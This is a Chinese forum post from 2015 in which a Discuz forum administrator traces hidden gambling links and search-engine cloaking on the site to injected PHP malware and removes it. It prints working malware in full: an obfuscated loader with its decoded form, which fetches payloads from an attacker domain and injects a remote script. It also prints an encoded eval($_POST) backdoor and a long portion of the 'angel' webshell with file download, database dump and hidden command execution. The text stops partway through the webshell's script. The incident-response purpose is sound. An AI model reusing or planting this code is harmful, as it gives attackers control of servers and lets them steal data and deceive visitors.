Discuz教程网

discuz论坛被挂暗链问题分析与解决、点开同一链接进入不同页面(博彩页面)、恶意脚本

[复制链接]
authicon dly 发表于 2015-10-9 13:23:44 | 显示全部楼层 |阅读模式
发现问题

有网友反映我们的论坛被挂了暗链,具体表现为从 google 搜索论坛名称结果如下图所示:

site_attacked.png

直接搜索论坛网址出现的一些热门帖子也被挂了暗链,通过 google 搜索结果访问会跳到恶意网站,



解决问题

直接通过网址访问论坛则没有任务问题,应该是论坛被注入了恶意代码,一时没被发现。


在代码和数据库dump结果中搜索恶意站点信息,一无所获
然后怀疑是用户上传的图片中挂了马,特别是联想到首页最近刚上热图轮播,安装 firefox 插件 ImageBlock 让浏览器不加载图片,可是问题依旧
打开 firebug 的 Network 标签,在页面加载记录中发现一个异常的js加载: http://api.discuz.com.de/Seo.js

在代码和数据库中搜索这个js找不到任何信息。



将恶意站点配置一条 hosts
  1. 127.0.0.1 api.discuz.com.de
复制代码

浏览器不再自动跳转到恶意网站了。

从 google 跳转到论坛后,查看页面源代码在最开始部分发现了引入恶意js的语句
  1. <div style='display:none'><script language='javascript' src='http://count31.51yes.com/click.aspx?id=310940343&logo=1' charset='gb2312'></script></div><script type='text/javascript' src='http://api.discuz.com.de/Seo.js'></script>
复制代码

在php脚本中加入 echo 语句逐步缩小范围,最终发现问题由下面一条语句引起
  1. INCLUDE(pack('H*','2f7661722f746d702f2e53595344554d502f2e576830416d492e434f5245'));
复制代码

上面的语句引入了 /var/tmp/.SYSDUMP/.Wh0AmI.CORE 脚本。

删除该语句后问题解决。




分析恶意代码
/var/tmp/.SYSDUMP/.Wh0AmI.CORE
  1. <?php $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0idVJKalF2d2xZRHBIS29Vc2tBZG1pQlphTkdxeEZoQ1hUZ09MY1Z0RVd5Yk1Jcm56UGVTZklUak95VnFVZmdDZWx1SndkQldzUXpTbnRLeExrUEVtRnBYTWJhaFJ2SGlBR1lyY05vWkROZzlxbmVCdEVROHhneXV4Zm1hMG5LOUhYcld1aTJraG55MGxsUUJwSmFScEdndTBYZ2RIQWdKM2d5dXhNcTBsU21qSGkzakRic2FxaTNqMG52NXJsZ0JDWHEwbGpLU0NpS2FSbm1HcE5aQnJNM1NQYlE5MGltQlZNVXRTSjBUYUZhQlZqY3d0RVFUakpnMGRtMXRrSlVTa0pVd3JKZGF0RjFUa20wa1JUa0dybUZ3dEVRVEVpM3k5ams5RlRhanZUYWppajBQSmFrekRhYXRrSlU5elQwYVhhRVdXWHEwbGpralVTTzBkbTF0a0pVU2tKVXdyWmtUSkprOVpUSlNrSmRhWmoxMDdneXVkWjBVeU52a0hic2s1bEViTEFGYklBT3BJQU9KMU1PQTNqSHFyQUZSMk1PSjFNT0cwQVo0SHRFYndqY1JIdFo0MnRFNDV0RTRIQUZkck1FYkxBRmRJQUZ5M01PUkx0RTRIQUZBck1FYkxBRnBJQUZHSE1PUjRYRTRMWEZ5ck1FYjJBRTRMdGNHSUFPRzVNT2ZMakhxcnRPUklBRnA0TU9BNU1PUjJqSHFydE9SSUFGeTNNT2Q0TU9SNVhFYndqY2ZMTU9SSFhaNDB0WjQzQVFid2pjUkxBSDQ1WEU0SHRGeUlBT3kxakhxcnRGcElBT0dMTU9mTE1PUkhYRWJ3amNSTHRINGN0RTQzQUg0M0FFYndqY0o0TU9HTHRaNExYRkJJWGd5ck1FYkxBRmJJQU9wSUFPSjFNT0pjakhxckFGcGNNT2RMTU95cU1PUjB0RWJ3amNSTHRINEhBWjRIQU9CSUFPeTFqSHFyQUZHSE1PR0hYRTRIQWdCSXRnZnJNRWIyQVo0THRPeUlBRkpxTU9icWpIcXJ0T1JJQUZ5M01PUnFYRTQwQVpid2pjUkx0UTQxdFo0SHRnR0lBRkE0akhxckFGUjBNT3BxTU9HSEFRNEh0Z0dyTUViMkFaNEx0Z2JJQUZCNE1PeUxqSHFyQUZSMk1PRzF0WjRIQWNCSXRjQnJNRWJIQU9HSUFGcDJNT0cwTU9HMmpIcXJBT0dITU9SNHRRNEh0RTQxWFpid2pjR0hBRTRMWGdSSUFGSjRNT1JxdFFid2pjUkhBSDRMQU9KSUFGZnFNT0dMdFpiQ1hxMGxqUmhFaTN5OWZtakhmbWR1ajBqUG52VDFiM3pDU0thSGpIcXJUMjlWUzJMVWZzOTBqSHFydnZrdWkyOHJNRVdFbnY1cmZzOTBqSHFySjI5Y2kzdHFudlRVYlFid2oxdFZTMjkxakhxckFjZnFKM3pDU0thSGpIcXJ2djkxU0trVnlzOTBqSGQ3Z3l1ZFoyYTVOdmtIYnNrNWxFV1BpcmsxZnY0SWkzanJqSHFyUzI5VlMyTFVNc3RWaVpid2ozdFZiMjhJZjI5aGpIcXJqdko0anZHMWpGUE9qSHFyanZKNWp2a1Bqdkdxakhxcmp2SjVqdkdManZqT2pIcXJqdkozakZwNWpGVVFqSHFyanZKMWpGUGRqRlVQanZKMWp2amRqdlI1akhxcmp2SjNqRmQ1anZqVWp2SjFqdmtVanZHMmpIcXJqdkoyanZSY2pGUFFqdkozakZwNWpGUE9qSHFyanZKMmp2RzRqdkc0anZKMmpGcDRqRlBzakhxcmp2SjFqdlI0anZHTGp2SjBqdkc1akZkcWpIcXJqdkoxakZVUWp2amRqdko1akZkNWpGcDFqSHFyanZKM2pGVU9qRlVzanZKMGp2alBqdmpQakhxcmp2SjNqRlVPakZVc2p2SjVqRmRIanZHTGpIcXJqdkozakZQVWp2R3Fqdko1akZwM2pGZExqSHFyanZKMmp2R2NqdlI0anZKMWpGcDJqRlBPakhxcmp2SjFqdmpPakZwcWp2SjJqRnA0anZHM2pIcXJqdkoxanZqZGp2UjVqdko1akZwM2pGZExqSHFyanZKNGp2RzFqRlVQanZKNWpGZEhqdkdMakhxcmp2SjJqRlBzakZkcWp2SjNqRlBVanZHcWpIcXJqdkozanZrZGpGZDJqdkozakZkMWp2UjFqSHFyanZKNGp2a3NqRmQxanZKM2pGUFVqdlI1akhxcmp2SjFqdkc1anZHY2p2SjFqRlBzanZHcWpIcXJqdkoxanZSMGp2a1Bqdko1akZkNGp2R2NqdkoxakZVc2pGUFVqSHFyanZKMGp2amRqRmRjanZKNWp2a1BqRlBPanZKNWpGcDNqRmRMakhkN2d5Q3NXdjVPV0tVVmlRemRTdkFxU0tKdWpLU0NpS2FSbm1Hd2pLVFBXS1JDb3EwbGpLVFBXS2t6YnJHcE5aelVvZXp3aTJUVWxFYjZqSHFkU0trMGZaZDdneXVqalJoVW9tQXBOWnpVb2V6d2kyVFVsRWI2akhMUWZtdFV0T1REU0thT2kyVFVsZXQwYlU5SGkzeUxBSFBxZnZ0WWxFV0dsUWJ3aktUUFdLa3picmppQWswQ2xaZENYcTBsRVpUWFNtV2NHZzBwU21QcWlLOWRTWnByWFFid2Zza2NTRmYwbTJUVWYyOWRTWlBjV2VqRGJzOTBBRkF1YktrT25IcHJaRXVyTUVUZGZtVFB5bWpIdmNrV2xaZENsRnd0RXBkZEZLVUluM0E5R0thNGJLTFZTS0p1amN1ck1LalBiMkoydGs5ZFN2dFZTS0p1YjNUSG0zalZXZ1JjbGV6UGYyd3VqMHB4akhxZFNLazBmSmtIYlV3SG1aZENsWmQ3Z3l1anlLVUlmMkwxU0tKdWpLU0NpS2FSbm1HSWpINW1uZ3p6aUpkSUZKOVJUSnFybEZoZG52SjdneUM5Z3lDc1d2NU9XS1VWaVF6clNtVGRmbVRQbEVUZGZtVFBtM2FIaUVVN2d5Q0NTUUJ1U3JhSWYzVENpMjVEU21QQ2IzVGNsRVdPV21qd20yYTRTdkFybFpkcG9xMGxqZXRxbTJ0MWJzcXBOWnpCZjNhSGlrOUNpc1UwbEVkN2d5Q09XbWp3bTN0VVdLOXFXRXBkYjN6RGYzYUhpRXFweTFhWkZSOXlhazlhSmRxd0dFVGRmbVRQbTNhSGlFZDdneUNPV21qd20zdFVXSzlxV0VwZGIzekRmM2FIaUVxcHkxYVpGUjl5YWs5R1RKa1JUYUd3R2dCQ1hxMGxmM2FIaWs5Y1NtVFZiZXl1amV0cW0ydDFic3F3R1J0YUpkTE5Ka1REeTA5WEZkYWdha1RqRkphTmFheXdHZ0pDWHEwbGYzYUhpazljU21UVmJleXVqZXRxbTJ0MWJzcXdHUnRhSmRMTkprVERKZGFKYWFqWGFranpGVXRLVGFHd0dnUkNYcTBsakt0VmlyVFVpclRjR2cwcHlLdDFic0xEU21QVWZIcGRiM3pEZjNhSGlFZDdneUNCZjNhSGlrOU9pSzljU1pwZGIzekRmM2FIaUVkN2d5QzlTdkxjU3ZVc2xLUzFpc3QwbnY5SW0yYTRubXQwYkhwcmIzVEhTdmtobTJ0VmlyVFVvZVREZjNqVWZtVFVqSGRDR2V3dEVRVGNiazlPaTI1MEdnMHBmbWpIZm1kdWoyUDBXZUJyR2cwK0dLa0hic2s1bEVXaFNtVHVpMnlyR2cwK0dFV2VUYXlyTUVXMG52MVVpM2EwakhCOU5RQjFsWmQ3Z3l1ZGIzekRiM1RIU1pCOUdSemNXZWpVZnYxRGYyOUlXS2E0V2s5T2JzYVBXS0p1amV0cW0ydFZpcnlDWHEwbGpLdFZpclRVaXJUY0dnMHB5S1NDaUthRFMyYTBtMnRWaXJUVWlyVGNsRVRkZm1UUG0zYUhpRXFwU3Nrd2IySndHRVRjYms5Y1dlalVsRnd0RXIxVWlldFVvcTBsaktQUGlzVHdTWkI5R1J6c2kzelVpUXBkU0trMGZhOTFic3F3R0VqSGZRR0NYSEJ0RVFUT2kyNTBTdjUwYkhCOUdSemNXZWpVZnYxRFMyYTBtMnRWaXJUVWlyVGNsRVR1ZnY1ZGlLSkNYSEJ0RWR6c2YyTFZiMkp1aktQUGlzVHdTWmQ3Z3lDOWd5Q0hTbVQxYnM0cGpLdFZpclRVaXJUY1hxMGxEeTBsU3JhSWYzVENpMjRwYjJQVldIcGRTc1V3U0pUQ2JRVTdneXVkU3NVd1N2NVBpdko5aktTQ2lLYVJubUdJaXZ5MWxFVERKMGFaYWRhWnZIV0dha1R5bTBQTkoxeXJtWjRkbTF0a0pVU2tKVXdySmRhVGFKYUZhazlhSmRkcm1aZDdneUNDU1FQQ2IxOXNudkxVbEVUc252TFVpc2toU1pkQ29xMGxFWlRzYmcxQlNzOXFTdjR1aktTQ2lLYUlmdjFVTUVXSGpIZDdneXVqaktUUFdLUjl5S1NIU3ZrZGxFVHNiRUxzbnZMVWIyVTZTWnBkU3NVd1N2NVBpdkpDbEZ3dEVwVUJTc3R3aTN0VWxFVHNiRWQ3Z3l1am52ZnVTdjFxV2VkdWpLVFBXS1JDbFp6N3llYUlpS1VJbkhwZFNzVXdTdjVQaXZKQ1gzalVXZWFIaU9oOWd5dWpTS2FPQUtUVWxFVHNudkxVVEtVSE1FVGRmbVRQbEZ3dEVyMHBTdkxjU1p6N2d5dWpqS1RQV0tSOVMyYTBTS2swZlpwcm5lVDBiZ3VWTTJqVVdFNWRubXRPV211SWYyOWhNc1RVTTNicWIyUENGMjgzTXJ6dWJnOUdGMXRKTlpiSWprOUZUYWp2VGFqaWowUEpha3pEWlI5RmFFV1dsRnd0RXBkZFNyQjl5S1NWYkthSWxFVHNudkxVaXNraFNacXJXSGJDWHEwbEVKenNXM2pDV0tKdWpLU3FNRVRkZm1UUGxGd3RFcFVCU3N0d2kzdFVsRVRzYkVkN2d5dWpudmZ1YjNUSGlLYUlsRVRkZm1UUGxaQitHZ1JxQWdCQ0dld3RFcFVkU3ZBcVNLSnVqS1NDaUthUm5tR3dqS1RQV0tSQ1hxMGxFbTB0RXIxOWd5Q0NTUXBQbnY1RGZtakhmbWR1alJVeU1FVE1aYUJDbG13dEVzU1Zic2FQZjJwdWpSaEVpM3lwZm1BcGpSaEVpM1RjbG1oQ1NRUGNXZWpDYjNUSGxFVEVpM3l3alJoRWkzVGNsWlU3Z3lDY25LOTNsRVRzbnZMVVRLVUhsRnd0RXIxOVNzOUhTdmtPbkVwZFoyYTVHS2tjR0VUTVNtVWNsbXd0RXNVc2xldDBic1VjV2VHdWpralVTUXFkWjJhNWJIZENvcTBsU3Z0dWlIQlFOS1RDV1F6Y1dlVXdTRjByU0tVY2JLTFBvRkNJaTI1VWpjNDhiMnRIbm16MEdLTFBpc1cxZnZXVU5aV3hmbVNQYjJ0SG5tejBqSHpjYnNBOWoyUDBXZUI2TUg5T2kzYUlXZ0FMTU9KTG92YWNNc3RWaVo5T2lLVU9uSDVQYjN6NE4yVWRORkFMQWdkMEFnQTBBSFN3aTJXVk5GUnJHS3R1Zm1qY1NteTlqMldRQU9BTEFRYitORTljZjNqQ2JleStORTlkbm1mK05ldE9ic1VxV0V6MG9telVOWlcwU21QME0yQ1BXc2tjZjNqQ2JleXJHZXRIZmMwcm5lVDBiZ3VWTTJrcW5aNWRubXRPV211SWYyOWhNc1RVTTF0VWlINXhiSGIrTkU5Y2YzakNiZXkrR09oOURtMHRFcD09IjtldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwLCRPTzAwMDApLCRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));?>
复制代码

上面代码的目的就是下载恶意代码并执行。


参考 网上方法 解码的结果
  1. <?php
  2. /*
  3. *author:whoami
  4. *  QQ  :4892057
  5. */
  6. error_reporting(0);
  7. $fileDir = '/var/tmp/.SYSDUMP/';
  8. $IP=$_SERVER['REMOTE_ADDR'];
  9. $Bot=$_SERVER['HTTP_USER_AGENT'];
  10. $Ref=$_SERVER['HTTP_REFERER'];
  11. $KIP=array('117.28.255.37','116.55.241.24','125.64.94.219','119.147.114.213','118.122.188.194','60.172.229.61','61.188.39.16','61.147.98.198','61.129.45.72','113.98.254.245','58.221.61.128','117.34.73.70','58.215.190.84','117.28.255.53','183.91.40.144','117.21.220.245','122.228.200.46','61.164.150.70','61.147.108.41','116.55.242.138','114.80.222.242','61.147.108.41','116.255.230.70','222.186.24.26','222.186.24.59','220.181.158.106','123.125.160.215');
  12. $KBot=array('Baiduspider','Googlebot','Yahoo','Bingbot','Sosospider','Sogou','360Spider','YoudaoBot');
  13. $Key=array('anquan.org','google.com','soso.com','%e8%b5%8c','%e9%aa%b0','%e9%b1%bc','%e7%89%9b','%e5%8d%9a%e5%bd%a9','%e7%99%be%e5%ae%b6','%e6%a3%8b%e7%89%8c','%e6%b8%b8%e6%88%8f','%e5%a8%b1%e4%b9%90','%e5%9b%bd%e9%99%85','%e7%9c%9f%e4%ba%ba','%e7%9c%9f%e9%92%b1','%e7%8e%b0%e9%87%91','%e6%b3%a8%e5%86%8c','%e5%bc%80%e6%88%b7','%e5%bd%a9%e9%87%91','%e8%b5%9a%e9%92%b1','%e6%8f%90%e7%8e%b0','%e7%ad%96%e7%95%a5','%e8%af%95%e7%8e%a9','%e5%b9%b3%e5%8f%b0','%e5%a4%aa%e9%98%b3%e5%9f%8e','%e4%bd%93%e9%aa%8c%e9%87%91');
  14. function dec0de($fileDir,$data){
  15. $dataArr = explode(':',$data);
  16.     $Keys = explode(':',base64_decode(str_rot13(pack('H*',$dataArr[0]))));
  17.     $News = explode(':',base64_decode(str_rot13(pack('H*',$dataArr[1]))));
  18.     $Links= explode(':',base64_decode(str_rot13(pack('H*',$dataArr[2]))));
  19.     @include($fileDir.'.Wh0AmI.MODEL');die;
  20. }
  21. function getdata($data_url){
  22. if (function_exists('curl_exec')) {
  23. $sp_curl = @curl_init();
  24. curl_setopt($sp_curl, CURLOPT_URL, $data_url);
  25. curl_setopt($sp_curl, CURLOPT_HEADER, 0);
  26. curl_setopt($sp_curl, CURLOPT_CONNECTTIMEOUT, 5);
  27. curl_setopt($sp_curl, CURLOPT_RETURNTRANSFER, 1);
  28. $contents = @curl_exec($sp_curl);
  29. @curl_close($sp_curl);
  30. }elseif(function_exists('stream_context_create')) {
  31. $sp_cont = array('http' => array('method' => 'GET','timeout' => 5));
  32. $sp_stre = @stream_context_create($sp_cont);
  33. $contents = @file_get_contents($data_url, false, $sp_stre);
  34. }else{
  35. $handle = @fopen($data_url, "rb");
  36. $contents = @stream_get_contents($handle);
  37. @fclose($handle);
  38. }
  39. return $contents;
  40. }
  41. function show($fileDir){
  42. $filename=$fileDir.md5($_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
  43. if(is_file($filename)){
  44.     $fp=@fopen($filename,'r');
  45.     $data=@fread($fp,filesize($filename));
  46.     @fclose($fp);
  47.     if(empty($data)) {@unlink($filename);return;}
  48.     dec0de($fileDir,$data);
  49. } else {
  50.     $data=getdata('http://bet.discuz.com.de/w0shiOo7.php?HOST='.$_SERVER['HTTP_HOST']);
  51.     $fp=@fopen($filename,'w');
  52.     @fwrite($fp,$data);
  53.     @fclose($fp);
  54.     if(strlen($data) > 1000) {
  55.     dec0de($fileDir,$data);
  56.     }
  57. }}
  58. if(!in_array($IP,$KIP)){
  59. foreach($KBot as $KBots){if(stristr($Bot,$KBots)){
  60. show($fileDir);
  61. }}foreach($Key as $Keys){
  62. if(stristr($Ref,$Keys)){
  63. echo "<div style='display:none'><script language='javascript' src='http://count31.51yes.com/click.aspx?id=310940343&logo=1' charset='gb2312'></script></div><script type='text/javascript' src='http://api.discuz.com.de/Seo.js'></script>";}}}
复制代码

上面代码的目的就是下载恶意代码并执行。



继续排查

通过比较svn中的代码与现网的代码还发现了一个新的后门程序



uc_client/control/class.php
  1. <?php $mt="mFsKCleRfU"; $ojj="IEBleldle"; $hsa="E9TVFsnd2VuJ10p"; $fnx="Ow=="; $zk = str_replace("d","","sdtdrd_redpdldadcde"); $ef = $zk("z", "", "zbazsze64_zdzeczodze"); $dva = $zk("p","","pcprpepaptpe_fpupnpcptpipopn"); $zvm = $dva('', $ef($zk("le", "", $ojj.$mt.$hsa.$fnx))); $zvm(); ?>
复制代码

解码后的结果
  1. @eval($_POST['wen']);
复制代码

上面的脚本可以注入任意的代码。

./uc_server/data/tmp/angel.php
  1. <?php
  2. error_reporting(7);
  3. @set_magic_quotes_runtime(0);
  4. ob_start();
  5. $mtime = explode(' ', microtime());
  6. $starttime = $mtime[1] + $mtime[0];
  7. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
  8. define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
  9. define('IS_COM', class_exists('COM') ? 1 : 0 );
  10. define('IS_GPC', get_magic_quotes_gpc());
  11. $dis_func = get_cfg_var('disable_functions');
  12. define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
  13. @set_time_limit(0);@preg_replace("/[email]/e",$_POST['Id'],"error");

  14. foreach($_POST as $key => $value) {
  15.     if (IS_GPC) {
  16.         $value = s_array($value);
  17.     }
  18.     $key = $value;
  19. }
  20. /*===================== 程序配置 =====================*/

  21. //echo encode_pass('angel');exit;
  22. //angel = ec38fe2a8497e0a8d6d349b3533038cb
  23. // 如果需要密码验证,请修改登陆密码,留空为不需要验证
  24. $pass  = 'ec38fe2a8497e0a8d6d349b3533038cb'; //angel

  25. //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
  26. // cookie 前缀
  27. $cookiepre = '';
  28. // cookie 作用域
  29. $cookiedomain = '';
  30. // cookie 作用路径
  31. $cookiepath = '/';
  32. // cookie 有效期
  33. $cookielife = 86400;

  34. //程序搜索可写文件的类型
  35. !$writabledb && $writabledb = 'php,cgi,pl,asp,inc,js,html,htm,jsp';
  36. /*===================== 配置结束 =====================*/

  37. $charsetdb = array('','armscii8','ascii','big5','binary','cp1250','cp1251','cp1256','cp1257','cp850','cp852','cp866','cp932','dec8','euc-jp','euc-kr','gb2312','gbk','geostd8','greek','hebrew','hp8','keybcs2','koi8r','koi8u','latin1','latin2','latin5','latin7','macce','macroman','sjis','swe7','tis620','ucs2','ujis','utf8');
  38. if ($charset == 'utf8') {
  39.     header("content-Type: text/html; charset=utf-8");
  40. } elseif ($charset == 'big5') {
  41.     header("content-Type: text/html; charset=big5");
  42. } elseif ($charset == 'gbk') {
  43.     header("content-Type: text/html; charset=gbk");
  44. } elseif ($charset == 'latin1') {
  45.     header("content-Type: text/html; charset=iso-8859-2");
  46. } elseif ($charset == 'euc-kr') {
  47.     header("content-Type: text/html; charset=euc-kr");
  48. } elseif ($charset == 'euc-jp') {
  49.     header("content-Type: text/html; charset=euc-jp");
  50. }

  51. $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
  52. $timestamp = time();

  53. /*===================== 身份验证 =====================*/
  54. if ($action == "logout") {
  55.     scookie('loginpass', '', -86400 * 365);
  56.     @header('Location: '.$self);
  57.     exit;
  58. }
  59. if($pass) {
  60.     if ($action == 'login') {
  61.         if ($pass == encode_pass($password)) {
  62.             scookie('loginpass',encode_pass($password));
  63.             @header('Location: '.$self);
  64.             exit;
  65.         }
  66.     }
  67.     if ($_COOKIE['loginpass']) {
  68.         if ($_COOKIE['loginpass'] != $pass) {
  69.             loginpage();
  70.         }
  71.     } else {
  72.         loginpage();
  73.     }
  74. }
  75. /*===================== 验证结束 =====================*/

  76. $errmsg = '';
  77. !$action && $action = 'file';

  78. // 查看PHPINFO
  79. if ($action == 'phpinfo') {
  80.     if (IS_PHPINFO) {
  81.         phpinfo();
  82.         exit;
  83.     } else {
  84.         $errmsg = 'phpinfo() function has non-permissible';
  85.     }
  86. }

  87. // 下载文件
  88. if ($doing == 'downfile' && $thefile) {
  89.     if (!@file_exists($thefile)) {
  90.         $errmsg = 'The file you want Downloadable was nonexistent';
  91.     } else {
  92.         $fileinfo = pathinfo($thefile);
  93.         header('Content-type: application/x-'.$fileinfo['extension']);
  94.         header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
  95.         header('Content-Length: '.filesize($thefile));
  96.         @readfile($thefile);
  97.         exit;
  98.     }
  99. }

  100. // 直接下载备份数据库
  101. if ($doing == 'backupmysql' && !$saveasfile) {
  102.     if (!$table) {
  103.         $errmsg ='Please choose the table';
  104.     } else {
  105.         $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  106.         $filename = basename($dbname.'.sql');
  107.         header('Content-type: application/unknown');
  108.         header('Content-Disposition: attachment; filename='.$filename);
  109.         foreach($table as $k => $v) {
  110.             if ($v) {
  111.                 sqldumptable($v);
  112.             }
  113.         }
  114.         mysql_close();
  115.         exit;
  116.     }
  117. }

  118. // 通过MYSQL下载文件
  119. if($doing=='mysqldown'){
  120.     if (!$dbname) {
  121.         $errmsg = 'Please input dbname';
  122.     } else {
  123.         $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  124.         if (!file_exists($mysqldlfile)) {
  125.             $errmsg = 'The file you want Downloadable was nonexistent';
  126.         } else {
  127.             $result = q("select load_file('$mysqldlfile');");
  128.             if(!$result){
  129.                 q("DROP TABLE IF EXISTS tmp_angel;");
  130.                 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
  131.                 //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况
  132.                 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
  133.                 $result = q("select content from tmp_angel");
  134.                 q("DROP TABLE tmp_angel");
  135.             }
  136.             $row = @mysql_fetch_array($result);
  137.             if (!$row) {
  138.                 $errmsg = 'Load file failed '.mysql_error();
  139.             } else {
  140.                 $fileinfo = pathinfo($mysqldlfile);
  141.                 header('Content-type: application/x-'.$fileinfo['extension']);
  142.                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
  143.                 header("Accept-Length: ".strlen($row[0]));
  144.                 echo $row[0];
  145.                 exit;
  146.             }
  147.         }
  148.     }
  149. }

  150. ?>
  151. <html>
  152. <head>
  153. <meta http-equiv="Content-Type" content="text/html; charset=gbk">
  154. <title><?php echo $action.' - '.$_SERVER['HTTP_HOST'];?></title>
  155. <style type="text/css">
  156. body,td{font: 12px Arial,Tahoma;line-height: 16px;}
  157. .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
  158. .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
  159. .bt {border-color:#b0b0b0;background:#3d3d3d url(http://t.cn/zRymOgc);color:#ffffff;font:12px Arial,Tahoma;height:22px;}
  160. a {color: #00f;text-decoration:underline;}
  161. a:hover{color: #f00;text-decoration:none;}
  162. .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 15px 5px 5px;}
  163. .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 15px 5px 5px;}
  164. .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 15px 5px 5px;}
  165. .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 15px 5px 5px;font-weight:bold;}
  166. .head td span{font-weight:normal;}
  167. .infolist {padding:10px;margin:10px 0 20px 0;background:#F1F1F1;border:1px solid #ddd;}
  168. form{margin:0;padding:0;}
  169. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
  170. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
  171. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
  172. .drives{padding:5px;}
  173. .drives span {margin:auto 7px;}
  174. </style>
  175. <script type="text/javascript">
  176. function CheckAll(form) {
  177.     for(var i=0;i<form.elements.length;i++) {
  178.         var e = form.elements[i];
  179.         if (e.name != 'chkall')
  180.         e.checked = form.chkall.checked;
  181.     }
  182. }
  183. function $(id) {
  184.     return document.getElementById(id);
  185. }
  186. function createdir(){
  187.     var newdirname;
  188.     newdirname = prompt('Please input the directory name:', ''  );
  189.     if (!newdirname) return;
  190.     $('createdir').newdirname.value=newdirname;
  191.     $('createdir').submit();
  192. }
  193. function fileperm(pfile){
  194.     var newperm;
  195.     newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
  196.     if (!newperm) return;
  197.     $('fileperm').newperm.value=newperm;
  198.     $('fileperm').pfile.value=pfile;
  199.     $('fileperm').submit();
  200. }
  201. function copyfile(sname){
  202.     var tofile;
  203.     tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
  204.     if (!tofile) return;
  205.     $('copyfile').tofile.value=tofile;
  206.     $('copyfile').sname.value=sname;
  207.     $('copyfile').submit();
  208. }
  209. function rename(oldname){
  210.     var newfilename;
  211.     newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
  212.     if (!newfilename) return;
  213.     $('rename').newfilename.value=newfilename;
  214.     $('rename').oldname.value=oldname;
  215.     $('rename').submit();
  216. }
  217. function dofile(doing,thefile,m){
  218.     if (m && !confirm(m)) {
  219.         return;
  220.     }
  221.     $('filelist').doing.value=doing;
  222.     if (thefile){
  223.         $('filelist').thefile.value=thefile;
  224.     }
  225.     $('filelist').submit();
  226. }
  227. function createfile(nowpath){
  228.     var filename;
  229.     filename = prompt('Please input the file name:', '');
  230.     if (!filename) return;
  231.     opfile('editfile',nowpath + filename,nowpath);
  232. }
  233. function opfile(action,opfile,dir){
  234.     $('fileopform').action.value=action;
  235.     $('fileopform').opfile.value=opfile;
  236.     $('fileopform').dir.value=dir;
  237.     $('fileopform').submit();
  238. }
  239. function godir(dir,view_writable){
  240.     if (view_writable) {
  241.         $('godir').view_writable.value=view_writable;
  242.     }
  243.     $('godir').dir.value=dir;
  244.     $('godir').submit();
  245. }
  246. function getsize(getdir,dir){
  247.     $('getsize').getdir.value=getdir;
  248.     $('getsize').dir.value=dir;
  249.     $('getsize').submit();
  250. }
  251. function editrecord(action, base64, tablename){
  252.     if (action == 'del') {      
  253.         if (!confirm('Is or isn\'t deletion record?')) return;
  254.     }
  255.     $('recordlist').doing.value=action;
  256.     $('recordlist').base64.value=base64;
  257.     $('recordlist').tablename.value=tablename;
  258.     $('recordlist').submit();
  259. }
  260. function moddbname(dbname) {
  261.     if(!dbname) return;
  262.     $('setdbname').dbname.value=dbname;
  263.     $('setdbname').submit();
  264. }
  265. function settable(tablename,doing,page) {
  266.     if(!tablename) return;
  267.     if (doing) {
  268.         $('settable').doing.value=doing;
  269.     }
  270.     if (page) {
  271.         $('settable').page.value=page;
  272.     }
  273.     $('settable').tablename.value=tablename;
  274.     $('settable').submit();
  275. }
  276. function s(action,nowpath,p1,p2,p3,p4,p5) {
  277.     if(action) $('opform').action.value=action;
  278.     if(nowpath) $('opform').nowpath.value=nowpath;
  279.     if(p1) $('opform').p1.value=p1;
  280.     if(p2) $('opform').p2.value=p2;
  281.     if(p3) $('opform').p3.value=p3;
  282.     if(p4) $('opform').p4.value=p4;
  283.     if(p5) $('opform').p4.value=p5;
  284. }
